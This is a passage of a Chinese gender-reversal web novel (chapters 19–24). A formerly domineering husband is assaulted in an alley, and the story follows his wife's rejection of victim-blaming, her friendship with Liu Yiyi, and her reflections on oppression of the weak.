宴刃便是在柳依依连连摆手拒绝的时候到了巷口,他一探头,目光落在柳依依身上,那夫郎便臊着脸干笑:"嗐,真是白瞎我说那么多的话,原来有了这般美貌的心上人。"
他掐腰咂嘴地打量宴刃一番,艳羡道:"哎呦,这身行当金贵,是谁家的少爷溜出来和你私会?"
柳依依啪地把湿衣服砸进盆里:"你们这些男人家碎嘴子真烦。"
她的性子直接,嗓门大,倒是没坏心,"他是我朋友家夫郎,嘴上多积德,别坏了人名声!"
这句话听着是在维护他,可宴刃觉得哪里都不对味,刺挠刺挠的。
凭什么?他站在这什么也没有做,她们就默认自己的名声会被受损?
莫名被泼了一盆脏水,沾上污点似的!
受损之后他会怎样?跌份吗?跌价吗?
宴刃轻咳着古怪一笑,柳依依这副摆明不想和他扯上干系的模样真讨厌,他偏偏不如她的意,偏要拉扯上她!
横竖为了这个贞洁好名声受益的人并不是他而是苏婉,他凭什么要替苏婉守节?
越想越是让人厌恶,他上前两步,用所有人都可以听到的声音道:"柳依依,我们之间的事,你真的忘干净了?"
柳依依袖口沾着肥皂的泡沫,此刻手一滑险些栽盆里:"苏夫郎你这是疯了?"
她胡乱抹手
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,又探了下自己额头:"还是我自己发烧烧糊涂了在做梦呢,不然怎么会有这荒唐事?"
朋友的夫郎莫名跑来她的面前,当众暗示她们之间有私情?
她怎么不知道她们有私情?!柳依依连忙急赤白脸地和旁人解释掰扯。
宴刃做了这般荒唐事也不在意,笑得肩膀抖动着,拉扯推搡着被柳依依进院门。
可进了院,门外不知道多少只耳朵支楞着在偷听呢!
"苏夫郎你在发什么疯,你让苏婉在外头怎么做人!"柳依依怒斥宴刃。
宴刃眼中满是失望:"你怎么什么都不记得?"
他眼眶泛红抓住她的手腕,期待落空之后的恨意在眼底沉浮成赤红:"以前需要我帮助的时候总是凑上来,现在知道和我撇清楚干系了?"
柳依依被他的偏执吓得狠命一推。
宴刃哪敌得过她的力气?身体也糟,踉跄后退,后腰砰地撞翻矮桌,疼得他半条命都差点没了,一滩烂泥似地滑落在地上,纤弱的少年身抖像片孤苦的叶子。
柳依依哪里见过这种场面,她下意识大喊道:"你别碰瓷啊,我可没打你!"
她惊恐地看着宴刃止不住的咳嗽,他咳得越来越厉害,咳得撕心裂肺,似乎下一秒就要死了。
她贴在墙上,看着宴刃就像是看到了什么猛虎那样让人畏惧。
两人僵持半晌,宴刃抬手,眼刀子剜她:"扶我起来!"
"你……你这人怎么这么不守夫道!"柳依依畏畏缩缩,明明挺大的体格愣是给她透出可怜无助感,"男人手哪能随便碰?"
她委屈着嘟囔道:"你不要脸我还要脸呢,要是被谁举报了,我说不定得犯那个什么流氓罪,到时候哪里还有好人家的男儿愿意嫁给我?"
她迟迟不愿意动手,可天空一声响雷,今年的第一场春雨落下了。
宴刃那破身子骨她清楚的,再怎么样也不能让他淋雨,柳依依毫无怜香惜玉,薅住这精致人儿的后领子,像是酸菜坛子里面扯捞酸菜那样,又糙又嫌弃地拖进屋,掼在草席上。
19. 第十九章 苏婉18
宴刃扯开勒得生疼的喉结带,就看到柳依依捂着眼跺脚,兔子似地蹿出门。
她顶着雨跑了!惹不起,躲得起!
他才黑着脸想起来,他这个举动和当着男子的面脱内衣没有两样,只得阴沉着脸重新系上华丽的喉结带。
憋了一肚子话问她,谁知她吓破了胆,整个上午躲得没影。
阴影笼着他半边脸,他是怪物?人人避之不及?他整好衣襟,推门迎上巷口邻居指指点点的目光,直奔常去的酒吧。
这里白天本不开张,可他有钱…哦不,现在是他妻主有钱。
空荡的酒吧里,他独坐吧台,咳得肩胛直颤,一杯接着一杯地闷头灌酒。夜色渐沉,涌入的女人渐多,黏糊糊的目光扒在他身上,像盯砧板上切好的烧鸭,谁都能尝一口。
本就烦躁的心情更加阴郁,邪火更旺!
宴刃阴鸷地扫视全场,那睥睨的眼神像剐着烂肉,激得几个女人哐当拍桌就要冲过来。
"来这地界喝酒的,能是正经爷们儿?瞧几眼还掉块肉了?"
"他装样抬价罢了!你个大女人跟个小郎君置气,跌份儿!"
"咱女人天生大气量!甭理他,真当自己是盘菜了?继续喝!"旁边人连拉带劝,好歹摁住了。
宴刃在那么多目光下也喝不下去了,他微醺着晃荡出门,只觉得这世界烂透了。
直到被拖进暗巷前,他都这么想。
暗巷里突然伸出几只指缝里残留着黑土的手,将他扯进了黑暗中,"这不是早上看到的小哥嘛!"
肩膀被奋力地推到了爬满青苔的墙上,女人捏住他下巴左右晃动,像是在看货物的好坏。
宴刃闻到了她浑身的汗臭味,熏得恶心,本身就喝了酒,太阳穴突突直跳,直接吐了出来。
女人啪地甩了他一巴掌,"出来不就是给人摸的吗?还是说你看不上我们这些泥腿子?"
宴刃跌坐墙的阴影里,眼前一片混黑。
女子伸手撕裂他的衣服,喉结带被人伸手进去摸了好几下。
他又吐了,这不断呕吐的酸臭味让女子也没办法用她那黏腻的嘴唇亲吻过来。
他在昏黑中挣扎,几双手将他围在墙角,左右都无法推脱。
如果之前只是厌恶的话,那么此刻可以称得上绝望。
他从未想过男人出门如此凶险!会遇到这种事!
他之前也被拉进巷中过,但那也不过是挨了一顿揍,皮肉上吃点苦头,哪料会失身?
"不听话?玩几天卖了!这货色,有的是女人肯掏大钱!"
听着污言,宴刃满是慌乱,已经来不及后悔了。
一只泥手薅住他头发咚地撞上砖墙!
血水混着雨水呛进喉咙。
"就这办!这烂货天没黑就灌猫尿,准是交际花,早让人玩透了!"
又一耳光扇得他耳鸣,"明儿醒了,让姐们儿尝尝鲜!"
剧痛中他死撑不晕,抖着手摸出怀表,靠墙砸碎表盖,攥紧锯齿边缘狠狠一划!刀割般的阻力,温热血浆喷溅,腥气冲鼻!
成了,哪怕是醉中看不见他也知道他成功伤害了她们。
但是他不知道的是,这也不过是划破了其中一个女子的手臂罢了,她用宴刃的衣服随手一扎,阴森森盯死他。
女人们爆笑,再一次对宴刃拳脚相加,铁锈味混着腋臭灌进鼻腔,将他的衣服撕裂,粗大的指节抠进他的腰间软肉。
宴刃的惨叫被疼痛碾回喉咙,怀表破碎在周遭的碎片划破了他的肌肤,女流氓们哄笑着要撕开他裤腰,冰凉的雪水贴上尾椎时,他模糊地听到了巷口外传来受惊的尖叫。
一束光刺到了宴刃的眼,是巡防队手电筒扫过巷口,女人们匆匆逃离,下手没轻没重的,鞋碾过他手指,手腕在挤压下发出脆响。
"队长,这里有男人出事了!"
他皮肉上嵌着怀表的宝石碎片,血顺着撕裂的绸缎滑落到大腿根,凉飕飕的夜风掠过腰际,安全下来之后,他才惊觉就连亵裤也不知何时被扯碎。
他被人用外套抱了起来,模糊的光晕里,他下意识揪着裂口。
女人们堵在巷□□头接耳,手电筒将她们的影子投在斑驳墙面上,活像
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恐怖故事。
没有男人,这个时间外面一个男人都没有,他在她们的目光下被评头论足,心生畏惧,他想逃。
暮色四合时,苏婉才得到消息匆匆赶到派出所,刚下车,就撞上巡逻队长那满眼的不赞成。
一个巡警挠着鸡窝头,警服领口歪斜着,汗湿的脖颈发亮,她折腾几个小时才查清宴刃的身份。
此刻这个女警瞪着光鲜亮丽的苏婉,恨铁不成钢,"这么俊俏漂亮的夫郎不好好护着,你瞅瞅他现在吓成啥样了!"
苏婉接到通知时,完全懵了。
她同宴刃一样,看这世界总像隔层雾。
谁料出这等事?
这年头,沾"性"字就犯忌讳,宴刃昏迷中还死死护着身子,指甲缝里全是抓挠的血痕皮屑,可巡警看着他这般貌美都不由怜惜他,怕他的妻主会嫌他脏,毕竟身子叫外女看光了!
巡警队长叹息着递上破碎怀表,调查显示是他自个儿出的门。
她想帮这可怜男子,话到嘴边又咽了,"你的夫郎伤得不轻…回去多顾着点。"
宴刃仍昏迷,苏婉签字后把人抱上车,厚外套裹着,底下皮肤却冰得硌手。她低头,发梢掠过他锁骨青紫的淤痕。
该打点下所里,她想。
万一…他以后还想出门呢?到时候多少会有人关照下他吧。他的模样好惨,苏婉徒劳着为他扯好破碎的衬衫,将怀表链接回他的胸前。
车子行驶的声音惊飞了路边的萤火虫。
碎光如星子纷扬,仿似是满天的星光。
莫名的可惜,心头涩然,她从来都没有想过让他遭遇这些,她此刻甚至有些迷茫,她会不由自主地想,他遭遇这些是因为她吗?
瞥见他裹着纱布的手脚因剧痛咳颤,她迟疑着,终是轻拍他后背。
他顺势深深埋进她腰腹间,引擎轰鸣,冷雨再落。
新招来的助理为她撑伞,苏婉横抱着宴刃,稳稳放上阁楼床榻。
"家主,"新管家板着脸杵在一旁,"男人就该锁后院,瞧他惹的祸!这身子若脏了…您可还怎么用啊?"
20. 第二十章 苏婉19
苏婉看了她两眼:"我不爱听这样的话,这种事情哪里能是受害者的错?"
"理是这理,"管家撇嘴,"可他不出门,哪会招祸?早上的时候我还问过他,他瞧不上我们做佣人的!"
"他只是身为男人,而不是非人,怎么就不能拥有想去哪里就去哪里的自由?"苏婉指节叩着床柱,低语严肃道,"他是人,不是什么物品。"
她吐口浊气,对管家道:"你,不合适这儿了。"
管家瞪圆了眼,对于苏婉的决定难以置信。
苏婉盯着窗外绿萝叶尖滴落的水珠,心头豁亮,从前那世道,恶意并非专对女人,更是冲着弱者去的。
之前的世界里面人们对于女人有直观的恶意,更是对弱者有着直观的恶意。
女人被放置在弱者的位置上,被剥皮拆骨,愈弱愈被践踏,循环往复,直到人们越来越完善这种压榨的规则,直到这规则也就成了铁律。
隔天宴刃醒来知晓此事,见苏婉端坐榻边。晨光里,她秀发纤长,脊梁笔挺,竟透出股陌生的精气神。
他不自觉地用近乎乞求的目光看着苏婉,声音带着颤抖:"告诉我…这只是意外,再不会发生了。"
"是必然,"苏婉声音沉静,"男人如今…是会被掠夺的财产。"
宴刃心口那块巨石砸实了。奢望罢了。
"我没想关你,你可以随意做你想做的事情。"苏婉说,"但为了你自己,你还是挑几个壮实保镖吧。"
宴刃喉头一哽,张了张嘴。是啊,他能怎样?
他不想再看到女人,但是男子们没有足够的力量,护不住他。
他想着想着,有些恨了,苏婉不觉得自己的姿态施舍的态度高高在上得刺眼。
也是,这世上,谁会站在受害者的角度去想?
大多数人,都会坚定站在得利者的立场,紧攥着既得利益罢了。
宴刃苦笑,他曾经不也是这样吗?如今,又有什么资格去埋怨苏婉?
这种被世界抛弃的感觉,如潮水般将他淹没。
他只觉得胸口一阵发闷,仿佛连呼吸都变得困难起来。耳朵里嗡嗡作响,外界的声音都变得模糊不清,唯有内心的痛苦,如雷贯耳,清晰无比。
或许…就待着别苑不出去也挺好,他过不了以前的那种生活,但是在这里也能当个瞎子,当个聋子,能暂且不去想以后该怎么办,他可以什么都不看,什么都不想。
哪怕心情糟糕透顶,他也能一直喝酒,借酒消愁,醉死拉倒!
可那嫉火那么难熄灭,他在畏惧中掺杂的怨恨让他无法停下质问,他哑声:"你这样做图什么?想报复我?让我体验与你一样的处境?让我尝一尝你受过的罪?"
经此一劫,他总算懂了些许能换位。
苏婉疑惑地看着他:"我是什么妖怪吗?怎么会作出这么过分的事情。"
宴刃低头看着自己的手,他的手上布满了纱布,透着血红,很疼。
他不信,嗤笑道:"你能这么大度呢?难道我以前在你眼中就是妖怪吗?"
"……"苏婉想,也没有好到哪里去,妖怪和宴刃,哪一个比较可怕?
他看着苏婉平静的侧脸:"还是…说你在可怜我?"
"……"苏婉揉着眉心,倦意沉沉,"你若这么想好受些…便随你。"
她现在处理公事就已经很累了,实在是难以纠缠心力在这些事情上面,回答也颇有敷衍。
她忽而扯出个笑:"说来,你们男人身子骨是硬朗,一样的病,搁你身上倒轻省。"
忆起自己当初的苦,她竟真为此高兴,好歹能减些对他的愧疚。
宴刃咳得胸闷疼,指尖扣进床铺的绸缎里:"说的倒是轻巧。"
他眉眼厌弃又疲倦,手腕的血在用力之下渗透纱布,洇开红色:"谁稀罕这废物身子……"
可是苏婉用这样的身体也过了很多年,她看着他那满脸哀凄:"认命吧,如果说我能有技巧交给你的话,那么就是先接受命运给自
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己的不平,再挣条活路。"
她继续说到:"我是这样熬到了现在,你也试试,或许能熬到你的奇迹出现呢?"
她还有许多的事情要处理,点头之后便离开。
宴刃也没有试图留她,只是再一次听着轰鸣声离开。
妻主不在身边……
她走了…这念头刚浮起,宴刃浑身寒毛倒竖,莫名恐慌攫住心神。
他喘不上气,豆大的汗珠滴滴答答地落下,他死掐住自己颤抖的手腕,指节泛白如凉玉。
宴刃扭头瞥见窗棂外掠过的乌鸦,它黑色的羽毛划破视野,他心下阴沉,鸦旋,凶兆。
这具总在深夜痉挛的身体里,跳动着的是别人的病痛,他已经沦落到这个地步,还有什么霉运在等他?
他想灌酒了。
而陪了宴刃一晚,早上的匆匆到达工作地点的苏婉没有想到宴刃心里面有这么多的心思。
她只是觉得一个人罢了,她又不是养不起。
这个世道对于男人来说太过艰难,无论是给他锦衣玉食也好,仆人成群也好,开销能有多少了?
比起她得到的,不过是一些富裕的金钱罢了。
哦不对,宴刃是很在意这些金钱的,她甚至是畏惧去花宴刃的钱,哪怕一分一毫都不敢沾,光想想那样的骂名只是都让她心头发紧。
可是她之外的女子呢?思绪划过,苏婉没有深入,她成立的跨国公司的业务多得可怕。
哪怕有建立的记忆,她也只能一样样努力熟悉,刚解决部分麻烦,可新的麻烦又会接踵而至。
身上的西装后背早被汗浸得湿润发黏,她随手把长发挽起来,直到午饭的时间才发现后颈一缕碎发滑落,而她就这样狼狈了一上午。
可环顾四周,忙碌的女人们都是乱糟糟的,没有人有精力在意这种外貌上的小事。
苏婉心忽然放松,从一种怕出糗的恐惧中惊醒,她又不是被挑选的货物,为什么要分秒绷紧神经,时时刻刻注意自己的外在?
21. 第二十一章 苏婉20
此刻,她似乎又挣脱了一个破旧的壳子,站到了更为广阔的天地间。
中午休息时,苏婉意外瞥见柳依依在公司外面探头探脑,焦头烂额地来回踱步。她踌躇再三,每次蹭到门前又缩回去。苏婉看不过去,出门将人拉了进来。
柳依依眼珠乱转,喉咙发紧:"那个,我……"
她昨天为避宴刃,直接溜去学校了,也是今天早上听到了有个富家夫郎被拖进暗巷,浑身是伤,才警觉不妙。
连忙到派出所打听,果然,那个可怜的夫郎正是苏婉藏在家里的漂亮夫郎。
她蔫头耷脑地瞅着苏婉,满脑子宴刃的指控、派出所的麻烦,暗巷的遭遇。
宴刃可以不要自己的脸面,可她得为苏婉考虑。
柳依依在门外徘徊犹豫时,她心里拧成了麻花。她和苏婉是多铁的朋友啊,谁能想到好友的夫郎居然会臆想她们有私情?
她扯着自己的衣角,艰涩道:"你夫郎…他居然觉得我和他有那种拉拉扯扯的关系,你知道的……我之前话都没有和他搭过!他脑子坏掉了!出了这个事情,你们离了吧!"
柳依依胸口像压着巨石,闷得喘不上气,说到最后蹲下去,拳头捶打自己脑袋:"但是他已经够惨了…我怎么还能让你抛弃他?我可真不是个东西,如果我昨天再多点耐心就好了……"
柳依依试图驱散脑海里纷乱的思绪,可那些念头却如野草般疯长。
好在苏婉还是她心里那个无所不能的人。
听完柳依依来意,苏婉眉尖微蹙,指尖轻敲桌面,梳理她遇到的难题,声音放轻:"我知道你们没事。他最近病得昏头,胡话别往心里去。"
柳依依长吁一口气,拍着胸口呼气:"我就说他多少有点癔症!"
太好了,她们之间的友谊还在。
这念头让柳依依整个人松弛下来。"是的是的,就是这样,不可能有别的原因了。"
她下意识地反复念叨,手指绞着衣角,生怕自己做了对不起苏婉的事。越想越慌,眼底漫上水汽,她使劲眨掉,强作镇定:"我们什么交情?我不会伤你的,肯定这样!"
苏婉握住她的手,掌心温热传递过来:"嗯,我知道你。你从没想伤我。"
无论过去现在,柳依依都是个单纯孩子。她只顾茫茫然盯着脚下路,摸索自己的方向,难免走岔。
但她不是坏孩子。她心肠软,生怕给别人添堵。
"那…今晚我能跟你睡吗?"柳依依彻底松懈,揪住苏婉袖口,期期艾艾地央求。
"自从你忙工作,咱们好久没见了。"柳依依的声音带着点撒娇的鼻音,手指无意识地绕着衣角,眼睛亮晶晶地望着苏婉。留宿苏家别苑的渴望,明明白白写在脸上。
苏婉心头一软,忆起从前,她们因为各种原因只能悄悄见面,而今竟能这样光明正大挽着手臂,将这份珍贵的友谊坦然宣告给所有人知晓。
暖流从心口细细密密地漾开,熨帖着过往的隐晦与酸涩,这难得的欢欣让苏婉情绪高昂起来。
晚上正好有沙龙聚会,柳依依央她要参加,苏婉便让人带她去租礼服。
晚宴上,她牵着柳依依的手,向每一位宾客介绍:"这是柳依依,我最好的朋友。"
她的语气里有藏不住的自豪,她细数依依在哪所新式学堂读书,文章如何被人们称赞,小小的成绩被她说得如同星辰般闪耀,她在给依依铺路。
柳依依被她夸得脸颊飞红,耳根滚烫,整个人仿佛笼罩在一层羞涩而兴奋的光晕里,真像是这座城市冉冉升起的明日之星。
周围的女人们爆发出热烈的掌声,善意的调侃和笑声像温暖的潮水将她们包围。
这一日,便在这样明亮喧闹的光影里飞快流逝。
入夜,汽车载着她们驶回安静的苏家别苑。
书房里只亮着一盏暖黄的台灯,隔绝了外界的喧嚣。
小泥炉上铜壶咕嘟作响,煮茶的热气氤氲升腾,清雅的茶香丝丝缕缕漫过摊开的厚重书页,给空气染上一层湿润的暖意。
她们两人并排坐在厚厚的地毯上,在膝头摊开巨大的世界地图册,苏婉抚过地图上
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山脉的凸起和河流的蜿蜒蓝线。
柳依依则像个好奇的孩子,指尖小心翼翼地、一块块地点着那些陌生而拗口的地名——伊斯坦布尔、好望角、亚马逊河……
"真奇怪,"柳依依抬起头,眼中盛满了纯粹的困惑,指尖还停留在地图上的某个点,"我像从未接触过这些事物般感到新奇,心跳得厉害。这难道不是……生而为人就该知道的东西吗?就像呼吸一样?"
苏婉的目光从地图上收回,落在依依困惑又明亮的脸上,心尖像被针轻轻扎了一下:"是啊,这本该是我们共同享有的权利,像阳光和空气一样寻常。"
可这份寻常,她直到此刻,才真真切切地带着一种近乎疼痛的清醒,将其握在了手里。
而柳依依,不必知道之前的事,她现在这样就很好。
意识到这一点,苏婉发现自己心底深处,还未全然适应这份迟来的拥有。
苏婉侧过身,忍不住伸出手,带着无比的温柔和欣慰,轻轻揉了揉柳依依柔软的发顶:"依依…你是真的,长得很好很结实了。"
"真的吗?"柳依依捏了下自己肌肉,也还好?
"你是柳啊,柳是什么?是生命力最顽强的植物,是随手折下一根枝条,插进湿润的泥土里,就能默默扎根、抽芽,焕发出勃勃生机的存在,依依也不仅仅是柔美的姿态,更是让人处于安宁自然的舒适感觉。"
这样的依依若是多了,世上的哭声都会小许多吧。
逃出冰冷框架,挣脱那无形的枷锁,才能发现,原来世界的广袤远超上海。
人生的意义,也不该仅仅系于一段或甜蜜或苦涩的爱情,友情的光辉也好,而那更辽阔、更值得追寻的事业疆域也好,一切都才刚刚在她们脚下展开。
这些认知,这些权利,这些可能性,本就该是她们与生俱来的。
而过去的她们,被一只无形的大手,硬生生地、痛苦地挤压进某种预设的、狭隘的模子里,只为了能在逼仄的夹缝中,求得一丝可怜的生存空间。
所以,飞起来吧,依依。
22. 第二十二章 苏婉21
夜话至深,茶香已淡。
柳依依不知何时已枕着书桌的一角,呼吸均匀绵长,沉沉地睡熟了。
暖黄的灯光温柔地勾勒着她安宁的睡颜,苏婉却依然醒着,她轻柔地将柳依依抱入客卧,为她盖好被子。
或许是情感冲击过大,此刻淡缓下来后,她在想,自己真的从未恨过宴刃和他那一家人吗?不,应该是恨过的。
否则,不会那样固执地计算着每一分亏欠,想着如何彻底斩断联系,两不相欠。
苏婉一直是个好人,好到近乎无可挑剔。
可她对宴刃的那些关切与照料,真的全都发自内心吗?
指尖无意识地摩挲着床铺,温热的触感让她忽然意识到,其实,也不尽然,她只是敷衍地应付了一下,从未真心想要照料他。
面对陌生的外界,她并非不惶恐,只是强迫自己咽下所有不安,而宴刃的存在,像是一个锚点,能帮她确认自己。
她其实…也不是好人。
这个发现让苏婉如释重负。
她终于看清,自己一直试图扮演一个完美受害者。
她得受尽伤害不还手,咽下所有苦楚,熬到最后一刻,站在道德高地宣告:都是你们欠我的,我拿回应得的,天经地义。
可为什么要当完美的受害者呢?
这个念头荒谬得让她几乎笑出声来,嘴角扯出一丝干涩的弧度。
难道只有完美无缺的圣人才配得到救赎?
不,苦难不需要理由,得到救赎却非要完美不可吗?
其实不必,即使心怀嫉妒,即使曾伤害他人,只要不是罪大恶极,依然值得被偏爱,值得好好活着。
从前没有这样的余地,而现在终于有了。
安静的客卧唯有柳依依均匀绵长的呼吸,这孩子已沉沉睡去。
苏婉在呼吸间,过去的思绪裂开一道缝,再次破开一个茧。
她扭头看向窗外的月光,那光是那么轻柔地照在房间。
她回屋和衣睡下,现在,让她们好好尝尝自由的滋味。
次日,柳依依醒来,对苏婉的彻夜思绪毫不知情。
在苏婉温和而坚定的鼓励下,柳依依坐在书桌前,铺开带着淡淡木浆气息的信纸,提笔蘸墨。
她要写信联系外地的女子师范学校,继续深造学业。
室内笔墨沙沙声格外清晰,这年头,能识字断文的人凤毛麟角。
苏婉看着她的侧影,轻声道:"依依,凭你的学识和灵性,无论是谋一份体面的教职,还是继续深造学问,总会有人愿意为你铺一条更宽的路。"
柳依依用力点头,目光专注于纸上,她看得很远很专注。
纠缠最深的三人,此刻都慢慢松开各自线团,朝不同方向前行。
苏婉的生活被庞大的公司事务填满,每日早出晚归,脚步声总是清脆而急促,她已经很久没有停下来提笔弄墨,但是似乎那也没那么重要了。
而宴刃,则像一只被剪断羽翼的鸟,彻底困在苏家别苑这方精致的牢笼里,巨大的失落、无能的愤怒、蚀骨的孤独日夜啃噬着他。
终于,在一个月光惨白如霜的深夜,紧绷的弦彻底崩断。
他不知灌了多少烈酒,辛辣的液体灼烧着喉咙,他踉踉跄跄地推开房门,走到空旷的院中,生理性的泪水瞬间模糊了视线。
咔哒…咔哒…咔哒…表针走动的声音在死寂的深夜里被无限放大。
夜晚的别苑太安静了,以至于他随身携带的怀表声清晰得如同丧钟。
怀表的身份象征,彻底失去意义。
他哪怕还是带着怀表,也回不到过去了。
"我到底…该怎么办?"
他对着院中四季春呢喃,酒气混着夜露的潮湿,没有回应。
他深一脚浅一脚,像踩在棉花上,又像跋涉在泥沼中,凭着最后一点混沌的意识,停在了苏婉紧闭的房门前。
他指节扣在冰凉坚硬的门板上,发出沉闷而迟疑的叩响:"苏婉…你能不能...来陪我说说话?"
宴刃僵直地立在门前,夜风卷起他的衣角。
那一瞬间,他恍惚觉得周遭的一切都凝固了,连空气都停止了流动。
只有心脏在胸腔里沉重而混乱地爆响。
门嘎吱着向内开启,昏黄的光线从门缝里流淌出来。<
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p>苏婉裹着两件式的素色中衣,发丝微乱,眼底还残留着被惊醒后的惺忪睡意。
她看清门口站着的人,眉头几不可察地蹙了一下,声音带着刚醒的微哑:"怎么了?需要我做什么吗?"
她自认并未苛待宴刃,一应供给充足,可明明才分开几日,宴刃憔悴得却像隔了数年光阴。
苏婉此刻望着宴刃泛红眼眶里盛满的无处宣泄的痛苦和绝望,竟一时失语。
宴刃也不知道如何倾诉那些积压的痛苦,他害怕看见苏婉眼中闪过的不耐烦。
这个突然冒出的且站在苏婉立场思考的念头,让他自己都狠狠怔住了,像被一道惊雷劈中。
曾几何时,他竟学会了这样去揣度苏婉的感受?
真是锥心刺骨的讽刺。
当年那个提着单薄包裹,孤身一人踏入深宅大院的苏婉,是否也曾像此刻的自己一样,独自吞咽着巨大的惶恐和无依,每一步都如履薄冰?
是否也在深夜,被无声的绝望折磨得辗转难眠?
一股尖锐的、冰冷的闷痛感从胸肺炸开,迅速蔓延至四肢百骸。
他不由自主地佝偻了背脊闷声咳嗽,额上渗出细密的冷汗。
他活该,他活该承受此刻这噬心蚀骨的痛苦,曾经,为了满足自己那可悲的掌控欲和优越感,他像个冷酷的暴君,肆意地践踏着苏婉的心意,将她的尊严碾入尘埃。
如今境遇彻底反转,他成了困兽,她成了自由翱翔的鹰。
这难道是冥冥之中的天道轮回?
是对他最辛辣的嘲讽和最公正的审判?
纷乱的思绪在酒精和痛苦中翻滚沉淀,宴刃剥开所有愤怒、不甘、恐惧的外壳,最后残存的,竟只剩下一个卑微到尘埃里的祈求。
他抬起布满血丝的眼,声音破碎得不成调:"我…我知道错了…真的知错了…我也愿意改过…无论怎样都行…苏婉…能不能…让那个世界…重新回来?"
那语气,近乎哀求。
昏黄的灯光下,她的面容沉静如水。
他是真的知错,理解当年行径的本质?
还是仅仅因为知痛,受不了这从云端跌落的煎熬?
23. 第二十三章 苏婉22
无言的沉默在两人之间蔓延,像一片粘稠冰冷的沼泽。
苏婉几不可闻地轻轻吁出一口气,她的声音依旧保持着一种刻意的柔和,像在安抚一个受惊的孩子:"如果你不想一直困在这个院子里…闷得慌…也可以尝试去做点别的事情,散散心也好。"
她在艰难地寻找一个既能表达关心,又不至于让宴刃感到被施舍或羞辱的平衡点。
"你也知道上次的事…"苏婉的指尖在门框上轻敲,仔细斟酌,"若让你独自出门,我实在放心不下。"
她停顿得有些刻意,喉头微微滚动,似乎在担心接下来的话会刺伤宴刃。
"我会安排几个可靠的武师跟着你。"她声音放得很轻,"她们绝不会对你…有任何不敬…当然,这得看你愿不愿意。"
宴刃尚未开口,苏婉就已为他考虑至此,可这周到安排,反噬成更深的自我厌弃。
这些天,他心底早将苏婉千刀万剐,此刻却因她眼中那抹熟悉的关切而心神剧震。
灯光在她低垂眼睫投下小片阴影,那阴影里,似乎藏着久违的温柔。
他曾经那样残忍地对待过她,可她竟仍愿以温柔相待?
这认知瞬间击垮宴刃,诅咒与愧疚,两种自我在他胸腔里撕扯,怨毒憎恨的那个,被愧疚碾碎的这个。
他猛地蹲下身,十指深深插进发间,喉间溢出压抑的呜咽。
最让他恨的是,他居然在这段时间中逐渐接受了自己附属的位置,他感到轻松。
只要接受夫郎这个位置,他不用努力便能有一份能拿得出手的体面。
苏婉僵在原地未动,攥紧门框的指节发白,泄露了她的无措。
最终,她轻叹一声,弯腰将宴刃抱起。
他头靠在她单薄肩窝,浓重酒气混着湿冷泪意扑面而来,她似乎已见他哭过好几回?他何时变得这般脆弱?
他浑身却软绵绵使不上力,在她怀中摇摇晃晃依赖着这点温存,妥协道:"我要去工作……"
被放落床榻边缘时,他下意识用力一抱!
苏婉猝不及防被他拽倒,整个人跌进松软被褥里。
她手忙脚乱扑腾起身,发现宴刃已沉入混沌。
苏婉摸了摸发烫脸颊,耳根也烧起来,蜜糖色眼底水光潋滟,她转身仓皇逃离。
天光大亮,宴刃才有些恍惚起身,他踌躇半日艰难决定出门。
他认命般妥协,在管家安排下选了男女混编的武师,在这个世道,美丽的男子独自出行终究太过惹眼。
可,当他真要迈出大门时,那铁门发出的嘎吱声仍让他浑身紧绷,他站在院内不住地发抖,眼前泛起一片模糊的白雾,连远山轮廓都看不真切。
记忆中那些黏腻如污垢的打量目光,毒蛇般缠绕上来,宴刃转身逃回屋内。
如果苏婉在就好了,他希望苏婉将他带在身边,至少苏婉从不会用那种粗鄙的眼神将他从头到脚刮一遍,像在审视什么待价而沽的货物。
他不知,其实苏婉也曾注视过他。只是她的目光总是温软的,带着不自知的欣赏。
她一直觉得宴刃生得好看,像幅工笔描摹的美人图,若让她自察这念头,定要自嘲虚伪,可人非草木,谁又能完全摒除那点私心?
而今日别苑内发生的事情,苏婉并不知道。
可依旧会忍不住想他昨日的话,他说想要出去工作,放任他独自面对外界真的妥当吗?
指间茶盏转了半圈,杯底咔哒一声轻磕桌面。
与她谈生意的银行长察觉她心神不宁,笑着凑近,带来淡淡酒气:"苏当家都出来这么久了,还挂念着自家夫郎呢?那不如给他捎点礼物?"
她指尖笃笃敲着檀木桌面:"喉结带、鲜花,或是城南新出的蜜饯果子,我家那位就爱这些小玩意,见了总赏我几分好脸色。"
苏婉望着对方说起内眷时眉梢漾起的暖意,神色也不自觉柔和几分。
她向来擅长在生活里捕捉这些细碎的光亮,她望着窗外渐沉的暮色,轻声道:"那挺好的。"
"可不是嘛!"银行长晃着手中琉璃杯,琥珀酒液在杯壁划出流光,"男子心情好了就会拾掇精神,我也看着舒心,不过,近日这边有个新组的沙龙…"她压低嗓音
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,暧昧声线黏腻如蛛丝,"听说会招几个标致美男…"
这声线猛地勾起苏婉某些腌臜记忆,她琥珀色眼眸瞬间暗沉,端起茶杯啜饮一口,滚烫茶汤入喉,压下喉头翻涌的话语。
"苏当家同去么?"银行长带着酒气凑得更近,"虽说你向来不爱…"
"知道我不爱,就不该提。"苏婉重重叹息,杯底再次磕上桌面,心情明显不愉。
"好好好,不提不提,还是继续谈铺子的事。"银行长酒气都要吓没了,干嘛那么认真。
苏婉不与她生气,有些东西在某些场合也是常态,但是她忘不了那日在小红楼看到男人们肆意践踏女子痛苦时的嘴脸。
她们会痛会哭,撕心裂肺地尖叫也只换来一句妇道人家就是事多。
最讽刺的是,那些施暴者竟还振振有词,说什么女子就该关在这吃苦,说什么给太多自由反而害了她们。
苏婉半边脸浸在阴影里,死死攥住茶杯,滚烫茶水溅上手背也浑然不觉。
"你呀,就喜欢家里那位相夫教子的夫郎。"银行长喝了口酒,疑惑道,"你把他藏得深,他到底有多美怎么把你迷成这样?"
"不过也是,外面这些男子一个个都高傲得很,就是待他们太好,让他们见识太多,才养出这么多毛病,家里的让人省心。"
苏婉看着合伙人,这些话,她当时在小红楼救助那些姑娘时也听过,当时只觉得这些话像刀子般往她心口扎,可现在听着她说这些调侃惨淡的男子的话,只觉得荒诞。
无论男女,不同的小红楼总会在暗处盘踞,无论怎么变,总是欺压点什么。
她偶尔也听到过小红楼的消息,但都很隐晦,似乎人人都知道点什么,牵扯太广,像团理不清的乱麻。
坊间小报的花边新闻,时辰邸报的只言片语,都不过是深渊表面泛起的几个泡沫,在这看似平静的日常下藏着多少腌臜?
苏婉长长呼出一口浊气,这个世界小红楼这个毒瘤不该由她来剜,也轮不到她来剜。
想到这里,她唇角不自觉扬起一丝冷冽的弧度,胸口涌起隐秘的快意。
24. 第二十四章 苏婉23
